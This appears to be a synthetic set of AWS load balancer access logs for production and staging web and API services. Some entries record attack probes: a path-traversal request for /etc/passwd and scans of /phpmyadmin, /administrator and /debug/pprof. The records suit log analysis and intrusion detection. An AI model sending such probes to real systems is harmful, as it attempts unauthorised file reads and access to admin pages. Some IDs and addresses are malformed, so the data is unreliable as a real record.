"Root=1-6723d060-a53efc9013ac466db84652e3" "-" "-" 1 2024-11-01T01:45:52.019643Z "forward" "-" "-" "10.0.32.187:443" "200" "-" "-" +https 2024-11-01T01:45:53.783766Z prod-web-alb 112.89.70.107:21017 10.0.209.183:443 0.065629 0.203203 0.039647 200 200 1000 8903 "GET /checkout HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d061-49d4c6d19fed4c8aa4504646" "prod-web-alb.example.com" "-" 5 2024-11-01T01:45:53.783766Z "forward" "-" "-" "10.0.209.183:443" "200" "-" "-" +http 2024-11-01T01:45:54.983610Z staging-alb 189.126.123.132:53642 70.250.28.209:80 0.024903 0.743411 0.075411 200 200 19 7204 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d062-9f3426cb02d3432a9b335171" "staging-alb.example.com" "-" 8 2024-11-01T01:45:54.983610Z "forward" "-" "-" "70.250.28.209:80" "200" "-" "-" +https 2024-11-01T01:45:56.416934Z prod-api-alb 37.142.115.95:58943 10.0.101.14:443 0.023348 0.496844 0.045096 200 200 788 5570 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d064-49797dedd6db49b1b5fa9dd5" "prod-api-alb.example.com" "-" 1 2024-11-01T01:45:56.416934Z "forward" "-" "-" "10.0.101.14:443" "200" "-" "-" +https 2024-11-01T01:45:57.939866Z prod-api-alb 254.159.129.103:55590 10.0.236.156:443 0.080892 0.496763 0.050940 301 301 65 3516 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d065-7cec4a4b73ad483dbcef6874" "prod-api-alb.example.com" "-" 4 2024-11-01T01:45:57.939866Z "forward" "-" "-" "10.0.236.156:443" "301" "-" "-" +https 2024-11-01T01:45:59.063681Z prod-web-alb 201.234.66.198:30621 10.0.198.3:443 0.013807 0.359016 0.095421 302 302 460 13418 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d067-7a29286f43c04d31a7b5a03d" "prod-web-alb.example.com" "-" 2 2024-11-01T01:45:59.063681Z "forward" "-" "-" "10.0.198.3:443" "302" "-" "-" +https 2024-11-01T01:45:59.635639Z prod-api-alb 4.42.113.54:60953 10.0.234.177:443 0.097031 0.075304 0.056849 200 200 682 3408 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d067-38b4be7edb034b34b15891ec" "prod-api-alb.example.com" "-" 9 2024-11-01T01:45:59.635639Z "forward" "-" "-" "10.0.234.177:443" "200" "-" "-" +https 2024-11-01T01:46:00.659825Z prod-api-alb 59.243.51.218:57316 10.0.14.6:443 0.068359 0.095537 0.002843 200 200 963 7677 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d068-4793e40df5584bedaa8ba6a4" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:00.659825Z "forward" "-" "-" "10.0.14.6:443" "200" "-" "-" +https 2024-11-01T01:46:02.586171Z prod-web-alb 0.25.50.57:59105 10.0.28.191:443 0.059746 0.209733 0.093831 200 200 127 10105 "GET /cart HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d06a-335ca3807b3940dfb170081a" "prod-web-alb.example.com" "-" 1 2024-11-01T01:46:02.586171Z "forward" "-" "-" "10.0.28.191:443" "200" "-" "-" +https 2024-11-01T01:46:04.582607Z prod-api-alb 80.140.209.162:56893 10.0.69.176:443 0.055914 0.031128 0.059377 200 200 452 8941 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d06c-eeeb7d793cbb47cb9ef1745a" "prod-api-alb.example.com" "-" 8 2024-11-01T01:46:04.582607Z "forward" "-" "-" "10.0.69.176:443" "200" "-" "-" +https 2024-11-01T01:46:06.268954Z prod-web-alb 138.231.116.126:56197 10.0.59.188:443 0.083581 0.142361 0.090128 200 200 188 13449 "GET /products HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d06e-aa35836e0fee44cc99bcbb67" "prod-web-alb.example.com" "-" 4 2024-11-01T01:46:06.268954Z "forward" "-" "-" "10.0.59.188:443" "200" "-" "-" +http 2024-11-01T01:46:07.731534Z staging-alb 75.183.244.124:58970 244.26.83.93:8080 0.095056 0.740566 0.105997 200 200 959 10211 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d06f-61881b06d38e422899f8f4eb" "staging-alb.example.com" "-" 9 2024-11-01T01:46:07.731534Z "forward" "-" "-" "244.26.83.93:8080" "200" "-" "-" +http 2024-11-01T01:46:08.507450Z staging-alb 67.69.57.255:35460 122.26.243.170:8080 0.017711 0.748684 0.008216 302 302 893 5720 "GET /staging/health HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d070-7720522c046f49469fdea7bb" "staging-alb.example.com" "-" 7 2024-11-01T01:46:08.507450Z "forward" "-" "-" "122.26.243.170:8080" "302" "-" "-" +https 2024-11-01T01:46:08.806390Z prod-api-alb 222.216.56.179:50841 10.0.86.246:443 0.083384 0.476912 0.038515 200 200 123 8995 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d070-1663f61ae6e1419f879f5b18" "prod-api-alb.example.com" "-" 5 2024-11-01T01:46:08.806390Z "forward" "-" "-" "10.0.86.246:443" "200" "-" "-" +https 2024-11-01T01:46:09.277886Z prod-api-alb 68.228.155.88:43244 10.0.161.251:443 0.099178 0.395456 0.033294 200 200 773 7324 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d071-f07206c8bfdc461a80f4bf4e" "-" "-" 0 2024-11-01T01:46:09.277886Z "forward" "-" "-" "10.0.161.251:443" "200" "-" "-" +https 2024-11-01T01:46:09.635770Z prod-api-alb 193.27.228.71:27753 10.0.218.90:443 0.078733 0.228016 0.056819 500 500 773 10775 "POST /debug/pprof HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d071-cf7fbb7d17a246639e401f12" "-" "-" 2 2024-11-01T01:46:09.635770Z "forward" "-" "-" "10.0.218.90:443" "500" "-" "-" +https 2024-11-01T01:46:11.430357Z prod-api-alb 235.24.34.12:44812 10.0.136.166:443 0.069955 0.079127 0.046135 301 301 439 6356 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d073-65a0f86e23554112b82618c6" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:11.430357Z "forward" "-" "-" "10.0.136.166:443" "301" "-" "-" +https 2024-11-01T01:46:13.287663Z staging-alb 49.114.37.53:21095 209.207.183.130:8080 0.078619 0.525366 0.138788 302 302 200 1580 "GET /staging/health HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d075-cd5326be566f4aa19df99989" "staging-alb.example.com" "-" 3 2024-11-01T01:46:13.287663Z "forward" "-" "-" "209.207.183.130:8080" "302" "-" "-" +https 2024-11-01T01:46:15.261836Z prod-web-alb 98.100.72.172:59070 10.0.161.232:443 0.089382 0.259880 0.014211 302 302 456 853 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d077-19906aa67f7d4f058f93bf7c" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:15.261836Z "forward" "-" "-" "10.0.161.232:443" "302" "-" "-" +https 2024-11-01T01:46:16.709981Z prod-api-alb 208.248.251.242:54037 10.0.62.19:443 0.044022 0.301471 0.084613 404 404 23 3001 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d078-8cf0e8a165bf44d18dc77af2" "prod-api-alb.example.com" "-" 6 2024-11-01T01:46:16.709981Z "forward" "-" "-" "10.0.62.19:443" "404" "-" "-" +https 2024-11-01T01:46:17.995050Z prod-web-alb 194.237.210.233:52093 10.0.235.79:443 0.013112 0.165078 0.007106 200 200 342 10746 "GET /images/logo.png HTTP/1.1" "curl/7.64.1" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d079-545abe92a5e6465fb06a6ce9" "prod-web-alb.example.com" "-" 6 2024-11-01T01:46:17.995050Z "forward" "-" "-" "10.0.235.79:443" "200" "-" "-" +https 2024-11-01T01:46:19.907998Z prod-web-alb 184.120.139.25:13607 10.0.152.16:443 0.014216 0.486436 0.069837 200 200 646 12022 "GET /products HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-front/73e2d6bc24d8 "Root=1-6723d07b-11517ffc2fd64770abd0a07b" "prod-web-alb.example.com" "-" 2 2024-11-01T01:46:19.907998Z "forward" "-" "-" "10.0.152.16:443" "200" "-" "-" +https 2024-11-01T01:46:20.146708Z prod-api-alb 135.81.222.57:36860 10.0.225.225:443 0.001691 0.107369 0.096198 404 404 4 11000 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d07c-28cd34c44a66492f93a0f4ea" "prod-api-alb.example.com" "-" 1 2024-11-01T01:46:20.146708Z "forward" "-" "-" "10.0.225.225:443" "404" "-" "-" +https 2024-11-01T01:46:20.605805Z staging-alb 39.70.174.253:55487 136.217.222.233:443 0.034940 0.303522 0.007876 301 301 768 1457 "GET /web/test HTTP/1.1" "Python-urllib/3.8" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d07c-d29b3bfa9af149088ee3f325" "staging-alb.example.com" "-" 5 2024-11-01T01:46:20.605805Z "forward" "-" "-" "136.217.222.233:443" "301" "-" "-" +https 2024-11-01T01:46:21.531337Z prod-api-alb 72.12.141.236:37285 10.0.212.129:443 0.071038 0.118696 0.000567 200 200 643 1226 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d07d-0603ae5553824e7cb4c7928f" "prod-api-alb.example.com" "-" 0 2024-11-01T01:46:21.531337Z "forward" "-" "-" "10.0.212.129:443" "200" "-" "-" +https 2024-11-01T01:46:22.321400Z prod-web-alb 107.8.100.234:39475 10.0.208.149:443 0.045443 0.484091 0.077884 200 200 68 4891 "GET /checkout HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d07e-6b470a6b8d4248c6b2fc52f0" "prod-web-alb.example.com" "-" 5 2024-11-01T01:46:22.321400Z "forward" "-" "-" "10.0.208.149:443" "200" "-" "-" +https 2024-11-01T01:46:24.208700Z staging-alb 138.246.75.139:48409 24.107.205.1:80 0.069245 0.558612 0.101813 200 200 624 14800 "GET /web/test HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d080-847889635ba44dcba0475b2d" "staging-alb.example.com" "-" 7 2024-11-01T01:46:24.208700Z "forward" "-" "-" "24.107.205.1:80" "200" "-" "-" +https 2024-11-01T01:46:26.103885Z prod-api-alb 92.55.224.133:37109 10.0.36.177:443 0.095728 0.253814 0.085563 200 200 799 5710 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d082-497665e4fe704a60834dea76" "prod-api-alb.example.com" "-" 5 2024-11-01T01:46:26.103885Z "forward" "-" "-" "10.0.36.177:443" "200" "-" "-" +https 2024-11-01T01:46:26.250676Z prod-api-alb 86.149.166.25:57810 10.0.167.152:443 0.087633 0.212458 0.064497 200 200 837 2818 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d082-b9eac2b62b104308ac1bcaec" "prod-api-alb.example.com" "-" 3 2024-11-01T01:46:26.250676Z "forward" "-" "-" "10.0.167.152:443" "200" "-" "-" +https 2024-11-01T01:46:26.684035Z prod-api-alb 157.10.39.178:44275 10.0.158.20:443 0.020095 0.447766 0.017530 404 404 765 538 "GET /api/v2/users HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d082-ed6b19c9357b484f94c0cc83" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:26.684035Z "forward" "-" "-" "10.0.158.20:443" "404" "-" "-" +https 2024-11-01T01:46:27.885314Z prod-api-alb 169.17.125.65:24481 10.0.139.116:443 0.048617 0.178326 0.004717 200 200 671 515 "GET /api/v1/orders HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d083-b62a01f9fc054601b5a247a3" "prod-api-alb.example.com" "-" 0 2024-11-01T01:46:27.885314Z "forward" "-" "-" "10.0.139.116:443" "200" "-" "-" +https 2024-11-01T01:46:28.823217Z staging-alb 185.181.34.255:44155 182.155.13.126:8080 0.124448 0.285525 0.143596 404 404 260 14534 "GET /../../../etc/passwd HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d084-153de746a56b47de9d482212" "-" "-" 1 2024-11-01T01:46:28.823217Z "forward" "-" "-" "182.155.13.126:8080" "404" "-" "-" +http 2024-11-01T01:46:29.732518Z staging-alb 193.27.228.176:45890 237.190.188.74:80 0.147678 0.654183 0.077219 301 301 425 8969 "POST /administrator HTTP/1.1" "Qualys SSL Assessment Scanner" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d085-c5f72e09e5674419b370d843" "-" "-" 3 2024-11-01T01:46:29.732518Z "forward" "-" "-" "237.190.188.74:80" "301" "-" "-" +https 2024-11-01T01:46:30.374544Z prod-api-alb 44.159.136.15:35125 10.0.17.134:443 0.023761 0.060807 0.064360 302 302 174 10872 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d086-24eeb3fd4bff42dea94b7ff8" "prod-api-alb.example.com" "-" 1 2024-11-01T01:46:30.374544Z "forward" "-" "-" "10.0.17.134:443" "302" "-" "-" +https 2024-11-01T01:46:32.266083Z prod-web-alb 112.193.178.212:48588 10.0.179.131:443 0.035573 0.186772 0.015729 404 404 607 2120 "GET /assets/main.css HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Edg/119.0.0.0" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d088-6d223b8263134ce2867c4ce3" "prod-web-alb.example.com" "-" 10 2024-11-01T01:46:32.266083Z "forward" "-" "-" "10.0.179.131:443" "404" "-" "-" +https 2024-11-01T01:46:33.442298Z prod-api-alb 139.218.232.223:36249 10.0.174.195:443 0.009863 0.015928 0.095834 200 200 906 14657 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d089-eefdef19b02743b1954080d8" "prod-api-alb.example.com" "-" 0 2024-11-01T01:46:33.442298Z "forward" "-" "-" "10.0.174.195:443" "200" "-" "-" +http 2024-11-01T01:46:33.873835Z staging-alb 167.234.47.234:62564 208.45.117.119:8080 0.012139 0.474994 0.129554 200 200 800 14919 "GET /api/v1/products HTTP/1.1" "Mozilla/5.0 (iPhone; CPU iPhone OS 16_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.6 Mobile/15E148 Safari/604.1" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d089-d46bc68b68dc433e8107b87b" "staging-alb.example.com" "-" 10 2024-11-01T01:46:33.873835Z "forward" "-" "-" "208.45.117.119:8080" "200" "-" "-" +http 2024-11-01T01:46:35.752013Z staging-alb 40.109.148.137:35009 97.43.22.233:8080 0.127431 0.351219 0.081510 302 302 940 14442 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d08b-a438190d41b644128810a950" "staging-alb.example.com" "-" 0 2024-11-01T01:46:35.752013Z "forward" "-" "-" "97.43.22.233:8080" "302" "-" "-" +https 2024-11-01T01:46:35.992345Z prod-api-alb 208.193.253.100:52967 10.0.210.208:443 0.061750 0.336227 0.063410 200 200 936 1359 "GET /api/v1/orders HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d08b-6e89e8b128cb4c4fb1550876" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:35.992345Z "forward" "-" "-" "10.0.210.208:443" "200" "-" "-" +https 2024-11-01T01:46:37.784848Z staging-alb 49.65.50.37:22686 15.154.136.165:80 0.025361 0.702661 0.093190 302 302 801 1536 "GET /staging/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-web/34f5g6h789a "Root=1-6723d08d-cff96ef3a2944a34a9734575" "staging-alb.example.com" "-" 7 2024-11-01T01:46:37.784848Z "forward" "-" "-" "15.154.136.165:80" "302" "-" "-" +https 2024-11-01T01:46:38.530500Z prod-api-alb 124.141.136.13:29974 10.0.51.149:443 0.020048 0.432401 0.046902 302 302 507 1021 "GET /api/v1/products HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d08e-75ad2e0d45c3456d827198fe" "prod-api-alb.example.com" "-" 9 2024-11-01T01:46:38.530500Z "forward" "-" "-" "10.0.51.149:443" "302" "-" "-" +https 2024-11-01T01:46:38.944489Z prod-web-alb 193.27.228.197:44878 10.0.136.182:443 0.037513 0.342112 0.041543 301 301 936 11993 "GET /phpmyadmin HTTP/1.1" "python-requests/2.31.0" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d08e-d5a959b40c474f85ac4b5af4" "-" "-" 5 2024-11-01T01:46:38.944489Z "forward" "-" "-" "10.0.136.182:443" "301" "-" "-" +https 2024-11-01T01:46:39.317512Z prod-web-alb 11.10.151.229:63596 10.0.46.75:443 0.087303 0.227352 0.039218 200 200 264 3126 "GET /assets/main.css HTTP/1.1" "Python-urllib/3.8" TLS_AES_128_GCM_SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d08f-31aef3f1fbbf40edab88378f" "-" "-" 1 2024-11-01T01:46:39.317512Z "forward" "-" "-" "10.0.46.75:443" "200" "-" "-" +https 2024-11-01T01:46:40.048631Z prod-api-alb 66.47.9.59:55152 10.0.216.210:443 0.079358 0.228308 0.093826 302 302 104 9113 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v1/81b3e7cf92a1 "Root=1-6723d090-71e326d8063743459b39cc7e" "prod-api-alb.example.com" "-" 1 2024-11-01T01:46:40.048631Z "forward" "-" "-" "10.0.216.210:443" "302" "-" "-" +https 2024-11-01T01:46:41.346640Z prod-web-alb 96.124.254.8:48472 10.0.49.149:443 0.028707 0.209381 0.055472 200 200 501 7027 "GET /assets/main.css HTTP/1.1" "Apache-HttpClient/4.5.13 (Java/11.0.19)" ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-web-back/92a1c4de56f7 "Root=1-6723d091-1a506e0cd17f408c94f71846" "prod-web-alb.example.com" "-" 4 2024-11-01T01:46:41.346640Z "forward" "-" "-" "10.0.49.149:443" "200" "-" "-" +http 2024-11-01T01:46:42.628936Z staging-alb 105.94.124.153:62620 246.9.135.7:443 0.094713 0.486500 0.115336 404 404 332 7667 "GET /staging/health HTTP/1.1" "curl/7.64.1" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d092-acea2f188e4a4137a49fc64a" "staging-alb.example.com" "-" 7 2024-11-01T01:46:42.628936Z "forward" "-" "-" "246.9.135.7:443" "404" "-" "-" +http 2024-11-01T01:46:43.490584Z staging-alb 130.219.226.211:14781 227.16.177.137:8080 0.086224 0.248585 0.080788 404 404 945 6511 "GET /web/test HTTP/1.1" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" ECDHE-RSA-AES128-GCM-SHA256 TLSv1.3 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/staging-api/12c3d4e567f "Root=1-6723d093-15f0302ebb864c4691c660e3" "-" "-" 7 2024-11-01T01:46:43.490584Z "forward" "-" "-" "227.16.177.137:8080" "404" "-" "-" +https 2024-11-01T01:46:44.241323Z prod-api-alb 241.168.219.46:38956 10.0.201.253:443 0.020775 0.159861 0.025282 301 301 260 12980 "GET /api/health HTTP/1.1" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36" TLS_AES_128_GCM_SHA256 TLSv1.2 arn:aws:elasticloadbalancing:us-east-1:123456789012:targetgroup/prod-api-v2/45d9f8g67h2 "Root=1-6723d094-3bf7d8f3a624489abbcfafc9" "prod-api-alb.example.com" "-" 3 